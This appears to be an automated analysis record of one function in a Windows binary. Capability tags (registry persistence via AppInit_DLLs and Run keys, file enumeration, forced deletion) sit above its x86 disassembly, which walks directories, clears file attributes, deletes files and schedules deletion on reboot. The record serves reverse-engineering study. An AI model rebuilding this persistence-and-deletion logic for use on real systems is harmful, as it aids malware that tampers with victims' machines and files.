Function at 0x435330
Capabilities:
Delete file
Enumerate files on windows
Move file
Persist via appinit_dlls registry key
Persist via run registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4ac
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x110], 0x104
mov dword [ebp - 0x21c], 0x104
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x218]
push edx
push 0x4dce34
push 0x4dce44
push SysStringLen
call fcn.00442b70
mov ecx, eax
call fcn.00442d8a
test eax, eax
jne 0x43539d
cmp dword [ebp - 0x218], 1
jne 0x43539d
cmp dword [ebp - 0x21c], 0
ja 0x4353a9
cmp dword [ebp - 0x21c], 0x104
jbe 0x4353f7
lea eax, [ebp - 0x214]
push eax
call fcn.00435c20
add esp, 4
push 0x4dce7c
lea ecx, [ebp - 0x214]
push ecx
call fcn.00416460
add esp, 8
test eax, eax
jne 0x4353dc
cmp dword [ebp - 0x21c], 0x104
jbe 0x4353f7
push 0x4dce88
push 0x4dce98
push SysStringLen
call fcn.00442b70
mov ecx, eax
call fcn.004430fd
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 4]
push ecx
push 0x4dced0
push 0x4dcee0
push SysStringLen
call fcn.00442b70
mov ecx, eax
call fcn.00442d8a
test eax, eax
jne 0x43553c
cmp dword [ebp - 4], 1
jne 0x43553c
lea edx, [ebp - 0x108]
push edx
call sub.ntdll.dll_strlen
add esp, 4
lea eax, [ebp + eax - 0x108]
mov dword [ebp - 0x220], eax
mov ecx, dword [ebp - 0x220]
mov byte [ecx], 0x5c
mov edx, dword [ebp - 0x220]
add edx, 1
mov dword [ebp - 0x220], edx
push 0x4dcf24
push 0x104
mov eax, dword [ebp - 0x220]
push eax
call fcn.00409000
lea ecx, [ebp - 0x364]
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffff
je 0x43553c
mov eax, dword [ebp - 0x364]
and eax, 0x10
test eax, eax
jne 0x435513
mov dword [ebp - 0x10c], 1
lea ecx, [ebp - 0x338]
push ecx
push 0x104
mov edx, dword [ebp - 0x220]
push edx
call fcn.00409000
push 0x80
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 4
push 0
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x364]
push ecx
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4354a7
mov eax, dword [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x110], 0x104
lea ecx, [ebp - 0x110]
push ecx
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 4]
push eax
push 0x4dcf2c
push 0x4dcf34
push closesocket
call fcn.00442b70
mov ecx, eax
call fcn.00442d8a
test eax, eax
jne 0x43568b
cmp dword [ebp - 4], 1
jne 0x43568b
lea ecx, [ebp - 0x108]
push ecx
call sub.ntdll.dll_strlen
add esp, 4
lea edx, [ebp + eax - 0x108]
mov dword [ebp - 0x368], edx
mov eax, dword [ebp - 0x368]
mov byte [eax], 0x5c
mov ecx, dword [ebp - 0x368]
add ecx, 1
mov dword [ebp - 0x368], ecx
push 0x4dcf78
push 0x104
mov edx, dword [ebp - 0x368]
push edx
call fcn.00409000
lea eax, [ebp - 0x4ac]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0xffffffff
je 0x43568b
mov edx, dword [ebp - 0x4ac]
and edx, 0x10
test edx, edx
jne 0x435662
mov dword [ebp - 0x10c], 1
lea eax, [ebp - 0x480]
push eax
push 0x104
mov ecx, dword [ebp - 0x368]
push ecx
call fcn.00409000
push 0x80
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 4
push 0
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x4ac]
push eax
mov ecx, dword [ebp - 0x36c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4355f6
mov edx, dword [ebp - 0x36c]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret